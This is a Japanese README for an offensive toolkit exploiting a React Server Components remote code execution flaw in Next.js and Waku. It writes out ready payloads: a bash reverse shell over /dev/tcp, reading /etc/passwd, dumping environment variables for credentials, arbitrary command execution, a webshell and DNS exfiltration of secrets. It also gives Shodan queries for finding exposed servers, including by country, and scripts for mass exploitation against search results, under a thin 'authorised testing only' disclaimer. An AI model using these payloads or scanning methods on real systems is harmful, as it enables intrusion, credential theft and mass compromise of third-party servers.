
React Server Components の脆弱性に対する高度な RCE エクスプロイトツールキット。複数の事前構築済みペイロード、ターゲット発見のための Shodan 統合、および許可された侵入テストのための大量スキャン機能を備えています。
React Server Components リモートコード実行脆弱性向け高度なエクスプロイトツールキット
認可されたペネトレーションテストおよびセキュリティ研究専用
このツールキットは、React Server Components(RSC)実装における重大な**リモートコード実行(RCE)**脆弱性を悪用します。具体的には以下を対象とします:
この脆弱性は、RSCのデータ処理メカニズムにおけるプロトタイプ汚染と安全でないデシリアライゼーションを利用して、サーバー上で任意のコード実行を達成します。
React Server Componentsは、クライアントとサーバー間でデータを転送するためにカスタムシリアライゼーション形式を使用しています。脆弱性は、これらのフレームワークが特別に細工されたペイロードをデシリアライズして処理する方法に存在します。
攻撃チェーン:
$X:constructor:constructor を悪用してFunctionコンストラクタにアクセス_prefixフィールドに任意のJavaScriptを注入攻撃者 → 悪意のあるRSCペイロード → ターゲットサーバー
↓
安全でないデシリアライゼーション
↓
プロトタイプチェーンアクセス
↓
Functionコンストラクタ
↓
⚠️ RCE達成 ⚠️
| ペイロード | 説明 | 使用例 |
|---|---|---|
console | 基本的なPoC(console.log) | 脆弱性の確認 |
reverseShell | Bashリバースシェル | 初期アクセス |
readFile | /etc/passwd を読み取り | ファイルシステムアクセス |
envDump | 環境変数をダンプ | 資格情報抽出 |
execCommand | システムコマンドを実行 | 任意のコマンド実行 |
webshell | Expressウェブシェルを展開 | 永続的なアクセス |
exfilPackage | package.json を外部送信 | 依存関係分析 |
dnsExfil | DNS経由の外部送信(OOB) | ブラインドエクスプロイト |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# または
yarn install
# Shodan CLIのインストール
pip install shodan
# APIキーで初期化
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# リスナー起動
nc -lvnp 4444
# エクスプロイト実行
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| オプション | 説明 | 必須 |
|---|---|---|
--target <url> | ターゲットURL | ✅ |
--framework <name> | フレームワーク: next または waku | ❌(デフォルト: next) |
--payload <name> | ペイロード名(下記参照) | ✅* |
--custom <code> | カスタムJavaScriptコード | ✅* |
--lhost <ip> | 自身のIP(リバースシェル用) | ❌ |
--lport <port> | 自身のポート(リバースシェル用) | ❌ |
--command <cmd> | 実行するコマンド | ❌ |
--endpoint <path> | カスタムRSCエンドポイント(Waku) | ❌ |
--action-id <id> | カスタムnext-action ID | ❌ |
--list | 利用可能なペイロード一覧表示 | ❌ |
--verbose | 詳細出力 | ❌ |
--help | ヘルプ表示 | ❌ |
*--payload または --custom のいずれかが必須
全ペイロードの表示:
node rsc-rce-exploit.js --list
出力:
📋 利用可能なペイロード:
console - 基本的なPoC - コンソール出力
コード: console.log(7*7+1)
reverseShell - リバースシェル(bash)
コード: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - /etc/passwd の読み取り
コード: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - 環境変数のダンプ
コード: console.log(JSON.stringify(process.env,null,2))
execCommand - システムコマンドの実行
コード: console.log(require('child_process').execSync('COMMAND').toString())
webshell - ウェブシェルを /tmp に書き込み
コード: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - package.json の読み取り
コード: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS経由の外部送信
コード: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
任意のJavaScriptコードを実行:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# 基本的なNext.js
http.component:"Next.js"
# RSCを使用したNext.js
http.html:"__next" http.html:"RSC"
# 開発モードのNext.js(より脆弱)
http.html:"__NEXT_DATA__" http.html:"development"
# セルフホスト型Next.js(Vercel以外)
http.component:"Next.js" -org:"Vercel"
# 地理的ターゲット(フランス)
http.component:"Next.js" country:FR
# ペネトレーションテスト用の最適な組み合わせ
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Wakuフレームワーク
http.html:"waku" http.html:"RSC"
# Waku RSCエンドポイント
http.path:"/RSC/"
提供されている自動化スクリプトを使用:
# スキャンして自動テスト
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# カスタムペイロード付き
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Shodan検索
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. 各ターゲットをテスト
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.jsツールを使用すると、複数ターゲットをテストできます:
# ファイルから
node mass-exploit.js --file targets.txt --payload console --threads 10
# Shodanから
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# 結果を保存
node mass-exploit.js --file targets.txt --payload console --output results.json
自動セキュリティテストの例:
# .github/workflows/security-test.yml
name: RSC セキュリティテスト
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
予想される出力:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - 拡張バージョン ║
║ React Server Components コード実行 ║
╚═══════════════════════════════════════════════════════════╝